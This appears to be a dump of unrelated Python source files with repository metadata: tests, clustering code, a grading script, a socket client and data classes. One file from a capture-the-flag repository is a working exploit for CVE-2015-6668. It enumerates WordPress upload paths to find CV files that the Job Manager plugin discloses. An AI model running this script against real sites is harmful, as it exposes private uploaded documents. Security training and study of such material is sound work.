mw.setWindowTitle("visit rebaseline -p")
layout = Layout(mw)
layout.show()
sys.exit(app.exec_())
| 35.783529 | 81 | 0.647554 |
57dfafb9e8933dbd5e630eaa629e5d73f23115df
| 1,866 |
py
|
Python
|
tests/onegov/wtfs/test_fields.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
tests/onegov/wtfs/test_fields.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
tests/onegov/wtfs/test_fields.py
|
politbuero-kampagnen/onegov-cloud
|
20148bf321b71f617b64376fe7249b2b9b9c4aa9
|
[
"MIT"
] | null | null | null |
from cgi import FieldStorage
from datetime import date
from io import BytesIO
from onegov.core.utils import Bunch
from onegov.form import Form
from onegov.wtfs.fields import HintField
from onegov.wtfs.fields import MunicipalityDataUploadField
class PostData(dict):
def getlist(self, key):
v = self[key]
if not isinstance(v, (list, tuple)):
v = [v]
return v
def test_municipality_data_upload_field():
form = Form()
def process(content, **kwargs):
field = MunicipalityDataUploadField(**kwargs)
field = field.bind(form, 'upload')
field_storage = FieldStorage()
field_storage.file = BytesIO(content)
field_storage.type = 'text/plain'
field_storage.filename = 'test.csv'
field.process(PostData({'upload': field_storage}))
return field
# Invalid
field = process('Bäretswil;\r\n'.encode('cp1252'))
assert not field.validate(form)
errors = [error.interpolate() for error in field.errors]
assert "Some rows contain invalid values: 0." in errors
# Valid
field = process('Bäretswil;111;-1;Normal;\r\n'.encode('cp1252'))
assert field.validate(form)
assert field.data == {111: {'dates': []}}
field = process(
'Bäretswil;111;-1;Normal;01.01.2019;07.01.2019\r\n'.encode('cp1252')
)
assert field.validate(form)
assert field.data == {
111: {'dates': [date(2019, 1, 1), date(2019, 1, 7)]}
}
def test_hint_field(wtfs_app):
def get_translate(for_chameleon):
return wtfs_app.chameleon_translations.get('de_CH')
form = Form()
field = HintField(macro='express_shipment_hint')
field = field.bind(form, 'hint')
field.meta.request = Bunch(app=wtfs_app, get_translate=get_translate)
assert field.validate(form)
assert "Für dringende Scan-Aufträge" in field()
| 29.15625 | 76 | 0.663987 |
aa47d21c6ff69f1572502674f4acbedbda768571
| 2,371 |
py
|
Python
|
ex1/gerador.py
|
renzon/oo-inpe
|
1b33939974f998badbeebd7bfe182070e77ef98f
|
[
"MIT"
] | null | null | null |
ex1/gerador.py
|
renzon/oo-inpe
|
1b33939974f998badbeebd7bfe182070e77ef98f
|
[
"MIT"
] | null | null | null |
ex1/gerador.py
|
renzon/oo-inpe
|
1b33939974f998badbeebd7bfe182070e77ef98f
|
[
"MIT"
] | null | null | null |
from random import randint
from ex1.evento import Evento
class Gerador():
def __init__(self, msg):
self.msg = msg
def gerar_evento(self, tempo):
"""
Método que gera evento levando em conta tempo de execução.
:return: Instancia de Evento ou Nulo se não for para gerar envento
"""
raise NotImplementedError()
class GeradorDecorator(Gerador):
def __init__(self, msg, gerador, despachador):
super().__init__(msg)
self._despachador = despachador
self._gerador = gerador
def gerar_evento(self, tempo):
evento = self._gerador.gerar_evento(tempo)
if evento:
self._despachador.despachar(evento)
class TempoEstrategia():
def deve_gerar_evento(self, tempo):
"""
Método abstrato que returna verdadeiro se evento deve ser gerado e falso caso contrário
:return: bool
"""
raise NotImplementedError('Deve definir estratégia de tempo')
class Tempo5Segundos(TempoEstrategia):
def deve_gerar_evento(self, tempo):
return tempo % 5 == 0
class TempoAleatorio(TempoEstrategia):
def __init__(self):
self._proximo_tempo = randint(1, 10)
def deve_gerar_evento(self, tempo):
flag = self._proximo_tempo <= tempo
if flag:
self._proximo_tempo += randint(1, 10)
return flag
class TransformadorString():
def transformar(self, s, tempo):
"""
Recebe string e transforma de acordo com estratégia
:param s: string a ser transformada
:param tempo: Tempo que string foi transformada
:return: string transformada
"""
raise NotImplementedError('Deve ser implementado')
class TransformadorNulo(TransformadorString):
def transformar(self, s, tempo):
return s
class TransformadorComTempo(TransformadorString):
def transformar(self, s, tempo):
return '{}. Tempo={}'.format(s, tempo)
class GeradorBridge(Gerador):
def __init__(self, msg, tempo_strategia, transformador):
super().__init__(msg)
self._transformador = transformador
self._tempo_strategia = tempo_strategia
def gerar_evento(self, tempo):
if self._tempo_strategia.deve_gerar_evento(tempo):
s = self._transformador.transformar(self.msg, tempo)
return Evento(s)
| 27.569767 | 95 | 0.660059 |
103175058f2fa208dcde4dafb16a9cb6d6a48a58
| 723 |
py
|
Python
|
Boot2Root/hackthebox/Tenten/files/exploit.py
|
Kan1shka9/CTFs
|
33ab33e094ea8b52714d5dad020c25730e91c0b0
|
[
"MIT"
] | 21 |
2016-02-06T14:30:01.000Z
|
2020-09-11T05:39:17.000Z
|
Boot2Root/hackthebox/Tenten/files/exploit.py
|
Kan1shka9/CTFs
|
33ab33e094ea8b52714d5dad020c25730e91c0b0
|
[
"MIT"
] | null | null | null |
Boot2Root/hackthebox/Tenten/files/exploit.py
|
Kan1shka9/CTFs
|
33ab33e094ea8b52714d5dad020c25730e91c0b0
|
[
"MIT"
] | 7 |
2017-02-02T16:27:02.000Z
|
2021-04-30T17:14:53.000Z
|
import requests
print """
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25
"""
website = raw_input('Enter a vulnerable website: ')
filename = raw_input('Enter a file name: ')
filename2 = filename.replace(" ", "-")
for year in range(2017,2018):
for i in range(1,13):
for extension in {'png','jpeg','jpg'}:
URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
req = requests.get(URL)
if req.status_code==200:
print "[+] URL of CV found! " + URL
| 30.125 | 124 | 0.593361 |
103fc50711d0b0de84f01f2724705c3318868eda
| 273 |
py
|
Python
|
src/aijack/attack/inversion/__init__.py
|
luoshenseeker/AIJack
|
4e871a5b3beb4b7c976d38060d6956efcebf880d
|
[
"MIT"
] | 1 |
2022-03-17T21:17:44.000Z
|
2022-03-17T21:17:44.000Z
|
src/aijack/attack/inversion/__init__.py
|
luoshenseeker/AIJack
|
4e871a5b3beb4b7c976d38060d6956efcebf880d
|
[
"MIT"
] | null | null | null |
src/aijack/attack/inversion/__init__.py
|
luoshenseeker/AIJack
|
4e871a5b3beb4b7c976d38060d6956efcebf880d
|
[
"MIT"
] | 1 |
2022-03-17T21:17:46.000Z
|
2022-03-17T21:17:46.000Z
|
from .gan_attack import GAN_Attack # noqa: F401
from .generator_attack import Generator_Attack # noqa: F401
from .gradientinversion import GradientInversion_Attack # noqa: F401
from .mi_face import MI_FACE # noqa: F401
from .utils import DataRepExtractor # noqa: F401
| 45.5 | 69 | 0.798535 |
104022f80f0cfe30ed3aab519ac4eeadac303cfa
| 867 |
py
|
Python
|
INBa/2015/ZORIN_D_I/task_4_7.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
INBa/2015/ZORIN_D_I/task_4_7.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
INBa/2015/ZORIN_D_I/task_4_7.py
|
YukkaSarasti/pythonintask
|
eadf4245abb65f4400a3bae30a4256b4658e009c
|
[
"Apache-2.0"
] | null | null | null |
# Задача 4. Вариант 7.
# Напишите программу, которая выводит имя, под которым скрывается Мария Луиза Чеччарелли. Дополнительно необходимо вывести область интересов указанной личности, место рождения, годы рождения и смерти (если человек умер), вычислить возраст на данный момент (или момент смерти). Для хранения всех необходимых данных требуется использовать переменные. После вывода информации программа должна дожидаться пока пользователь нажмет Enter для выхода.
# Зорин Д.И.
# 11.04.2016
name = "Мария Луиза Чеччарелли"
birthplace = "Рим, Италия"
date1 = 1931
date2 = 2016
age = date2 - date1
interest = "Киноиндустрия"
print(name+"- наиболее известена как Моника Витти- итальянская актриса")
print("Место рождения: "+birthplace)
print("Год рождения: ", date1)
print("Возраст: ", age)
print("Область интересов: "+interest)
input("\n\nДля выхода нажми ENTER")
| 43.35 | 443 | 0.7797 |
eaa454aeb2637a676c1e50bb9a3b6f2eb3e45e6f
| 87 |
py
|
Python
|
main.py
|
spdir/sakf
|
9a07c5f90765201a42d524dc6d4554f4ccd3c750
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
spdir/sakf
|
9a07c5f90765201a42d524dc6d4554f4ccd3c750
|
[
"Apache-2.0"
] | null | null | null |
main.py
|
spdir/sakf
|
9a07c5f90765201a42d524dc6d4554f4ccd3c750
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
from sakf.sakf import main
if __name__ == '__main__':
main()
| 17.4 | 26 | 0.62069 |
eaaee56b527744c35b0a2e71b0cf37879102767a
| 208 |
py
|
Python
|
python/course/leetcode/leetcode.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | 1 |
2019-05-22T07:12:34.000Z
|
2019-05-22T07:12:34.000Z
|
python/course/leetcode/leetcode.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | 3 |
2021-12-10T01:13:54.000Z
|
2021-12-14T21:18:42.000Z
|
python/course/leetcode/leetcode.py
|
TimVan1596/ACM-ICPC
|
07f7d728db1ecd09c5a3d0f05521930b14eb9883
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding:utf-8 -*-
# @Time:2020/6/15 11:38
# @Author:TimVan
# @File:leetcode.py
# @Software:PyCharm
# Definition for singly-linked list.
# for j in range(10, 5, -1):
# print(j)
print('a'.find(' '))
| 17.333333 | 36 | 0.605769 |
21c5953806a590d303da60ce30af9e05c9ffcf7f
| 1,046 |
py
|
Python
|
client.py
|
Klark007/Selbstfahrendes-Auto-im-Modell
|
d7fe81392de2b29b7dbc7c9d929fa0031b89900b
|
[
"MIT"
] | null | null | null |
client.py
|
Klark007/Selbstfahrendes-Auto-im-Modell
|
d7fe81392de2b29b7dbc7c9d929fa0031b89900b
|
[
"MIT"
] | null | null | null |
client.py
|
Klark007/Selbstfahrendes-Auto-im-Modell
|
d7fe81392de2b29b7dbc7c9d929fa0031b89900b
|
[
"MIT"
] | null | null | null |
import socket
from ast import literal_eval
import Yetiborg.Drive as Yetiborg
HEADERSIZE = 2
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 12345)) # 192.168.0.11 / localhost / 192.168.0.108
# car always looks up at the beginning
car = Yetiborg.Yetiborg((0, 1))
"""
fs: finished
"""
def move(vec):
print(vec)
# movement command at motors
car.calculate_movement(vec)
pass
def stop():
print("Stop")
exit()
def command_decoder(str):
# decodes the send command into an action
cmd = str[:2]
if cmd == "mv":
# gets the direction (tuple) from the command
move(literal_eval(str[2:]))
elif cmd == "en":
stop()
pass
while True:
full_cmd = ""
header = s.recv(HEADERSIZE).decode("utf-8")
print("New message length:", header[:HEADERSIZE])
cmd_len = int(header[:HEADERSIZE])
full_cmd = s.recv(cmd_len).decode("utf-8")
command_decoder(full_cmd)
# send finished execution signal
s.send(bytes("fs", "utf-8"))
| 18.350877 | 75 | 0.637667 |
21d74dd97abbafbab41d2b79624c65a5587f6d58
| 3,134 |
py
|
Python
|
unsupervised_learning/kmeans.py
|
toorajtaraz/computational_intelligence_mini_projects
|
79d1782c3b61ee15ac01dcf377bdc369962adb18
|
[
"MIT"
] | 3 |
2022-02-09T21:35:14.000Z
|
2022-02-10T15:31:43.000Z
|
unsupervised_learning/kmeans.py
|
toorajtaraz/computational_intelligence_mini_projects
|
79d1782c3b61ee15ac01dcf377bdc369962adb18
|
[
"MIT"
] | null | null | null |
unsupervised_learning/kmeans.py
|
toorajtaraz/computational_intelligence_mini_projects
|
79d1782c3b61ee15ac01dcf377bdc369962adb18
|
[
"MIT"
] | null | null | null |
from pathlib import Path
import sys
path = str(Path(Path(__file__).parent.absolute()).parent.absolute())
sys.path.insert(0, path)
from mnist_utils.util import _x, _y_int
from sklearn.cluster import MiniBatchKMeans
from sklearn.metrics import accuracy_score, adjusted_rand_score
import numpy as np
from fast_pytorch_kmeans import KMeans
import torch
from tabulate import tabulate
#global vars
kmeans_main = None
cluster_ids_x = None
def classify_clusters(l1, l2):
ref_labels = {}
for i in range(len(np.unique(l1))):
index = np.where(l1 == i,1,0)
ref_labels[i] = np.bincount(l2[index==1]).argmax()
decimal_labels = np.zeros(len(l1))
for i in range(len(l1)):
decimal_labels[i] = ref_labels[l1[i]]
return decimal_labels
def init_clustring_scikit(cluster_count=10):
global kmeans_main
kmeans_main = MiniBatchKMeans(n_clusters=cluster_count, verbose=False)
kmeans_main.fit(_x)
def test_accuracy_scikit():
global kmeans_main
decimal_labels = classify_clusters(kmeans_main.labels_, _y_int)
print("predicted labels:\t", decimal_labels[:16].astype('int'))
print("true labels:\t\t",_y_int[:16])
print(60 * '_')
AP = accuracy_score(decimal_labels,_y_int)
RI = adjusted_rand_score(decimal_labels,_y_int)
print("Accuracy (PURITY):" , AP)
print("Accuracy (RAND INDEX):" , RI)
return AP, RI
def init_clustring_torch(cluster_count=10):
global clusters_from_label, cluster_ids_x
_kmeans = KMeans(n_clusters=cluster_count, mode='euclidean', verbose=1)
x = torch.from_numpy(_x)
cluster_ids_x = _kmeans.fit_predict(x)
def test_accuracy_torch():
global cluster_ids_x
decimal_labels = classify_clusters(cluster_ids_x.cpu().detach().numpy(), _y_int)
print("predicted labels:\t", decimal_labels[:16].astype('int'))
print("true labels:\t\t",_y_int[:16])
print(60 * '_')
AP = accuracy_score(decimal_labels,_y_int)
RI = adjusted_rand_score(decimal_labels,_y_int)
print("Accuracy (PURITY):" , AP)
print("Accuracy (RAND INDEX):" , RI)
return AP, RI
def pipeline(lib="torch", cluster_count_max=300, coefficient=2):
cluster_count = len(np.unique(_y_int))
result = []
if lib == "torch":
while cluster_count <= cluster_count_max:
print(10 * "*" + "TRYING WITH " + str(cluster_count) + 10 * "*")
init_clustring_torch(cluster_count)
AP, RI = test_accuracy_torch()
result.append([cluster_count, AP, RI])
cluster_count *= coefficient
cluster_count = int(cluster_count)
elif lib == "scikit":
while cluster_count <= cluster_count_max:
print(10 * "*" + "TRYING WITH " + str(cluster_count) + 10 * "*")
init_clustring_scikit(cluster_count)
AP, RI = test_accuracy_scikit()
result.append([cluster_count, AP, RI])
cluster_count *= coefficient
cluster_count = int(cluster_count)
else:
print("LIB NOT SUPPORTED")
print(tabulate(result, headers=['K', 'AP', 'RI']))
pipeline(cluster_count_max=200, coefficient=3, lib="scikit")
| 35.613636 | 84 | 0.678685 |
10d1e06975d52bb7b5f8e0f3c90a9460e0d76260
| 12,674 |
py
|
Python
|
year_2/os_sem2/checkLab14/app.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
year_2/os_sem2/checkLab14/app.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | 21 |
2020-03-24T16:26:04.000Z
|
2022-02-18T15:56:16.000Z
|
year_2/os_sem2/checkLab14/app.py
|
honchardev/KPI
|
f8425681857c02a67127ffb05c0af0563a8473e1
|
[
"MIT"
] | null | null | null |
import sys
import os
import re
def main():
# Check input for the program.
checker = ArgsChecker()
if not checker.checkInputArgsAreCorrect():
return 1
if checker.processMode == checker.PROCESS_FROM_DIR:
dirProcesser = FromDirProcesser()
dirProcesser.process(checker.csvFilePath)
if checker.processMode == checker.PROCESS_CERTAIN_FILE:
certainFileProcesser = FromCertainFileProcesser(
checker.csvFilePath, checker.resultNFilePath, checker.lsNFilePath
)
certainFileProcesser.process(checker.varNum)
# End of the program.
print('End of the program.')
return 0
class ArgsChecker:
PROCESS_CERTAIN_FILE = 1
PROCESS_FROM_DIR = 2
def __init__(self):
self.varNum = 0
self.processMode = 0
def checkInputArgsAreCorrect(self):
return self._checkArgv() and self._checkFilesExist() and self._checkFilesNamingFormat()
def _checkArgv(self):
# Check command line arguments for amount of input files.
argv = sys.argv[1:]
if len(argv) != 3 and len(argv) != 1:
print('Usage: python app.py [group(.csv)] ([resultN(.txt)] [lsN(.txt)])')
return False
# Save mode of processing.
if len(argv) == 3:
self.processMode = self.PROCESS_CERTAIN_FILE
elif len(argv) == 1:
self.processMode = self.PROCESS_FROM_DIR
return True
def _checkFilesExist(self):
# Check if files from sys.argv really exist.
for arg in sys.argv[1:]:
fullFileName = os.path.splitext(arg)
# This program works with files without extensions.
if not os.path.exists(arg) and not os.path.exists(fullFileName[0]):
print('File %s does not exist.' % arg)
return False
return True
def _checkFilesNamingFormat(self):
# Pass if FROM_DIR mode.
if self.processMode == self.PROCESS_FROM_DIR:
# Save .csv filepath.
self.csvFilePath = sys.argv[1]
return True
# Check if files from sys.argv have a proper naming format.
fileNames = sys.argv[1:]
# Check [.csv] file.
# It has a format [XX.csv] or [XX], where X is a digit.
# Example: [51.csv] or [51].
csvMatch = re.match(r'^(\d){2}(\.csv)?$', fileNames[0], re.I)
if not csvMatch:
print('Your [XX.csv] file has incorrect name.')
print('Please use [NN.csv] or [NN] format, where N is a digit.')
return False
# Check file [resultNVar.txt].
# It has a format [resultNVar.txt] or [resultNVar], where NVar is one or two digits.
# Example: [result5.txt], or [result15].
resultNFileMatch = re.match(r'^result(\d){1,2}(\.txt)?$', fileNames[1], re.I)
if not resultNFileMatch:
print('Your [resultN.txt] file has incorrect name.')
print('Please use [resultN.txt] or [resultN] format, where N is a 1- or 2- digit variant number.')
return False
# Check file [lsN.txt].
# It has a format [lsN.txt] or [lsN], where N is 1- or 2- digit variant number.
# Example: [ls5.txt] or [ls15].
lsNFileMatch = re.match(r'^ls(\d){1,2}(\.txt)?$', fileNames[2], re.I)
if not lsNFileMatch:
print('Your [lsN.txt] file has incorrect name.')
print('Please use [lsN.txt] or [lsN] format, where N is 1- or 2- digit variant number.')
return False
# Check if files [lsN.txt] and [resultNVar.txt] have the same variant number.
firstNum = re.match(r'^result((\d){1,2})(\.txt)?$', fileNames[1], re.I).group(1)
secondNum = re.match(r'^ls((\d){1,2})(\.txt)$', fileNames[2], re.I).group(1)
if firstNum != secondNum:
print('Files [resultN.txt] and [lsN.txt] are not for the same variant.')
return False
# Save the variant number.
self.varNum = int(firstNum)
# Save .csv filepath.
self.csvFilePath = fileNames[0]
# Save resultN.txt filepath.
self.resultNFilePath = fileNames[1]
# Save lsN.txt filepath.
self.lsNFilePath = fileNames[2]
return True
class FromDirProcesser:
def process(self, csvFilePath):
if not self._processCsvFile(csvFilePath):
print('Error occured while reading %s file' % csvFilePath)
return False
# Go through all lines and check each variant.
for variant in self.csvFileContent:
varMatch = re.match(r'^(\d){1,2}$', variant, re.I)
varMatchErr = re.match(r'^((\d){1,2}),Err$', variant, re.I)
varMatchSemiColon = re.match(r'^((\d){1,2}),$', variant, re.I)
# If line is not filled with results:
if varMatch or varMatchErr or varMatchSemiColon:
if varMatch:
curVar = int(varMatch.group())
elif varMatchErr:
curVar = int(varMatchErr.group(1))
elif varMatchSemiColon:
curVar = int(varMatchSemiColon.group(1))
print("%r" % curVar)
self.CertainValProcessor = FromCertainFileProcesser(
csvFilePath,
str.format("result%i.txt" % curVar),
str.format("ls%i.txt" % curVar)
)
self.CertainValProcessor.process(curVar)
def _processCsvFile(self, csvFilePath):
# Read content from .csv file.
self.csvFileContent = []
try:
f = open(csvFilePath, "r", encoding="utf-8-sig")
self.csvFileContent = [line.rstrip('\n') for line in f]
except:
print('Error occured while reading file %s.' % csvFilePath)
return False
return True
class FromCertainFileProcesser:
def __init__(self, csvFilePath, resultNFilePath, lsNFilePath):
self.resultNFilePath = resultNFilePath
self.lsNFilePath = lsNFilePath
self.csvFilePath = csvFilePath
def process(self, varNum):
self._processResultNFile(varNum)
self._writeResult(self.csvFilePath, varNum)
def _processResultNFile(self, varNum):
resultNContent = []
self._marks = []
# Read content from lsN.txt file.
if not self._processLsNFile():
print('Error occured while reading file %s.' % self.lsNFilePath)
self._marks.append('Err')
return False
# Read content from resultN.txt file.
try:
f = open(self.resultNFilePath, "r", encoding="utf-8-sig")
resultNContent = [line.rstrip('\n') for line in f if line.rstrip('\n')]
except:
print('Error occured while reading file %s.' % self.resultNFilePath)
self._marks.append('Err')
return False
# Save username.
self.userName = resultNContent[0]
# Check variant.
if varNum != int(resultNContent[1]):
print('Error: variant missmatch. In file:', int(resultNContent[1]))
self._marks.append('Err')
return False
# Testing.
print('Checking @%s var%i' % (self.userName, varNum))
# "labs" task.
if resultNContent[2] == str.format("lab%i" % varNum) \
and resultNContent[3] == str.format("lab%i" % (varNum + 1)):
self._marks.append('1')
else:
self._marks.append('labs-')
# Testing:
print('labs', self._marks[0])
# "hard1" task.
try:
first1, *middle1, last1 = resultNContent[4].split()
first2, *middle2, last2 = resultNContent[5].split()
except:
print('Error in "hard1" task: incorrect data format.')
self._marks.append('Err')
return False
if resultNContent[4] and resultNContent[5] \
and first1 == first2 \
and str.format("tree%i_h" % varNum) == last1 \
and str.format(".tree%i" % varNum) == last2:
self._marks.append('1')
else:
self._marks.append('hard1-')
# Testing
print('hard1', self._marks[1])
# "mount" task.
startingLine = 6
endingLine = startingLine
for i, line in enumerate(resultNContent[startingLine:]):
if '-rw' in line:
endingLine = startingLine + i
break
strToFind = str.format('/home/%s/mount/NTFS' % self.userName)
strToFind2 = str.format('/home/%s/mount/EXT4' % self.userName)
firstStrFound = False
secondStrFound = False
for line in resultNContent[startingLine:endingLine]:
if strToFind in line:
firstStrFound = True
if strToFind2 in line:
secondStrFound = True
if firstStrFound and secondStrFound:
self._marks.append('1')
else:
self._marks.append('mount-')
# Testing
print('mount', self._marks[2])
# "hard2" task.
try:
first1, *middle1, last1 = resultNContent[endingLine].split()
first2, *middle2, last2 = resultNContent[endingLine + 1].split()
except:
print('Error in "hard2" task: incorrect data format.')
self._marks.append('Err')
return False
if resultNContent[endingLine] and resultNContent[endingLine + 1] \
and first1 != first2 \
and str.format("tree%i_h" % varNum) == last1 \
and str.format(".tree%i" % varNum) == last2 \
and self._argsInText([first1, last1], self.lsNContent) \
and self._argsInText([first2, last2], self.lsNContent):
self._marks.append('1')
else:
self._marks.append('hard2-')
# Testing
print('hard2', self._marks[3])
# "diff" task.
if self.userName in resultNContent[endingLine + 3] \
and str.format('lab%i' % varNum) in resultNContent[endingLine + 6] \
and str.format('lab%i' % (varNum + 1)) in resultNContent[endingLine + 7] \
and str.format('lect%i' % (varNum - 1)) in resultNContent[endingLine + 9] \
and str.format('lect%i' % varNum) in resultNContent[endingLine + 10] \
and str.format('result%i' % varNum) in resultNContent[endingLine + 13] \
and '3 directories, 7 files' in resultNContent[endingLine + 16]:
self._marks.append('1')
else:
self._marks.append('diff-')
# Testing
print('diff', self._marks[4])
return True
def _processLsNFile(self):
# Read content from lsN.txt file.
try:
f = open(self.lsNFilePath, "r", encoding="utf-8-sig")
self.lsNContent = [line.rstrip('\n') for line in f if line.rstrip('\n')]
except:
return False
return True
def _argsInText(self, argsLst, textAsLst):
# Means that all items from argsLst should be in one line.
for line in textAsLst:
# I am sorry.
splittedLine = line.split()
if (argsLst[0] in splittedLine) and (argsLst[1] in splittedLine):
return True
return False
def _writeResult(self, csvFilePath, varNum):
# Write result to .csv file.
# Note, that result will be on certain line in .csv file.
csvFileContent = []
try:
f = open(csvFilePath, "r", encoding="utf-8-sig")
csvFileContent = [line.rstrip('\n') for line in f]
except:
print('Error occured while reading file %s.' % csvFilePath)
return False
# Format data to write to .csv file.
toWrite = self._marks
toWrite.insert(0, str(varNum))
if 'Err' not in self._marks:
toWrite.append(str(self._getMarksSum()))
csvFileContent[int(varNum) - 1] = ','.join(toWrite)
csvFileContentWithNewLines = [(line+'\n') for line in csvFileContent]
# Write data to .csv file.
try:
f = open(csvFilePath, "w", encoding="utf-8-sig")
f.writelines(csvFileContentWithNewLines)
except:
print('Error occured while writing data to file %s.' % csvFilePath)
return False
return True
def _getMarksSum(self):
toRet = 0
for mark in self._marks:
if mark == '1':
toRet += 1
return toRet
if __name__ == '__main__':
main()
| 36.524496 | 110 | 0.566435 |
3385d0740834d136b94244297d0e01af822e4328
| 622 |
py
|
Python
|
Blatt1/src/script.py
|
lewis206/Computational_Physics
|
06ad6126685eaf65f5834bfe70ebd91b33314395
|
[
"MIT"
] | null | null | null |
Blatt1/src/script.py
|
lewis206/Computational_Physics
|
06ad6126685eaf65f5834bfe70ebd91b33314395
|
[
"MIT"
] | null | null | null |
Blatt1/src/script.py
|
lewis206/Computational_Physics
|
06ad6126685eaf65f5834bfe70ebd91b33314395
|
[
"MIT"
] | null | null | null |
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
# Set fontsize larger for latex plots
matplotlib.rcParams.update({'font.size': 20})
# Generate data from file
x, y = np.genfromtxt("bin/python_Aufgabe2.txt", unpack=True)
m, n = x[-1], y[-1]
# Plotting
plt.figure(figsize=(12,7))
plt.grid()
plt.xlabel("x")
plt.ylabel("y")
x_new = np.linspace(min(x)-x[:-1].std()/2, max(x)+x[:-1].std()/2)
plt.plot(x[:-1], y[:-1], "x", mew=2., alpha=2, label="Datenpunkte")
plt.plot(x_new, m*x_new+n, "-", linewidth=3, label="Ausgleichsgerade")
plt.legend()
plt.tight_layout()
plt.savefig("bin/figure.pdf", dpi=1200)
| 27.043478 | 70 | 0.680064 |
d51442e5802a7e7a7d3c8bda504b303ddbb541d1
| 483 |
py
|
Python
|
books/PythonAutomate/webscrap/using_bs4.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
books/PythonAutomate/webscrap/using_bs4.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
books/PythonAutomate/webscrap/using_bs4.py
|
zeroam/TIL
|
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
|
[
"MIT"
] | null | null | null |
import bs4
with open("example.html") as f:
# 텍스트 파일로 부터 BeautifulSoup 객체 생성
soup = bs4.BeautifulSoup(f.read(), "lxml")
print(type(soup)) # <class 'bs4.BeautifulSoup'>
# id가 author인 태그 리스트 조회
elems = soup.select("#author")
print(type(elems)) # <class 'list'>
print(type(elems[0])) # <class 'bs4.element.Tag'>
# 태그를 포함한 문자열 출력
print(str(elems[0]))
# 태그 안의 텍스트만 출력
print(elems[0].getText())
# 태그의 속성값 출력
print(elems[0].attrs)
# 해당 태그의 id값 조회
print(elems[0].get('id'))
| 19.32 | 50 | 0.654244 |
1d92705a0e03671b2fdc534d799cc8d39e832d40
| 3,889 |
py
|
Python
|
src/bo4e/com/angebotsteil.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | 1 |
2022-03-02T12:49:44.000Z
|
2022-03-02T12:49:44.000Z
|
src/bo4e/com/angebotsteil.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | 21 |
2022-02-04T07:38:46.000Z
|
2022-03-28T14:01:53.000Z
|
src/bo4e/com/angebotsteil.py
|
bo4e/BO4E-python
|
28b12f853c8a496d14b133759b7aa2d6661f79a0
|
[
"MIT"
] | null | null | null |
"""
Contains Angebotsteil class
and corresponding marshmallow schema for de-/serialization
"""
from typing import List, Optional
import attr
from marshmallow import fields
from bo4e.bo.marktlokation import Marktlokation, MarktlokationSchema
from bo4e.com.angebotsposition import Angebotsposition, AngebotspositionSchema
from bo4e.com.betrag import Betrag, BetragSchema
from bo4e.com.com import COM, COMSchema
from bo4e.com.menge import Menge, MengeSchema
from bo4e.com.zeitraum import Zeitraum, ZeitraumSchema
from bo4e.validators import check_list_length_at_least_one
# pylint: disable=too-few-public-methods
@attr.s(auto_attribs=True, kw_only=True)
class Angebotsteil(COM):
"""
Mit dieser Komponente wird ein Teil einer Angebotsvariante abgebildet.
Hier werden alle Angebotspositionen aggregiert.
Angebotsteile werden im einfachsten Fall für eine Marktlokation oder Lieferstellenadresse erzeugt.
Hier werden die Mengen und Gesamtkosten aller Angebotspositionen zusammengefasst.
Eine Variante besteht mindestens aus einem Angebotsteil.
.. HINT::
`Angebotsteil JSON Schema <https://json-schema.app/view/%23?url=https://raw.githubusercontent.com/Hochfrequenz/BO4E-python/main/json_schemas/com/AngebotsteilSchema.json>`_
"""
# required attributes
#: Einzelne Positionen, die zu diesem Angebotsteil gehören
positionen: List[Angebotsposition] = attr.ib(
validator=[
attr.validators.deep_iterable(
member_validator=attr.validators.instance_of(Angebotsposition),
iterable_validator=attr.validators.instance_of(list),
),
check_list_length_at_least_one,
]
)
# optional attributes
#: Identifizierung eines Subkapitels einer Anfrage, beispielsweise das Los einer Ausschreibung
anfrage_subreferenz: Optional[str] = attr.ib(
default=None, validator=attr.validators.optional(attr.validators.instance_of(str))
)
lieferstellenangebotsteil: Optional[List[Marktlokation]] = attr.ib(
default=None,
validator=attr.validators.optional(
attr.validators.deep_iterable(
member_validator=attr.validators.instance_of(Marktlokation),
iterable_validator=attr.validators.instance_of(list),
)
),
)
"""
Marktlokationen, für die dieses Angebotsteil gilt, falls vorhanden.
Durch die Marktlokation ist auch die Lieferadresse festgelegt
"""
#: Summe der Verbräuche aller in diesem Angebotsteil eingeschlossenen Lieferstellen
gesamtmengeangebotsteil: Optional[Menge] = attr.ib(
default=None, validator=attr.validators.optional(attr.validators.instance_of(Menge))
)
#: Summe der Jahresenergiekosten aller in diesem Angebotsteil enthaltenen Lieferstellen
gesamtkostenangebotsteil: Optional[Betrag] = attr.ib(
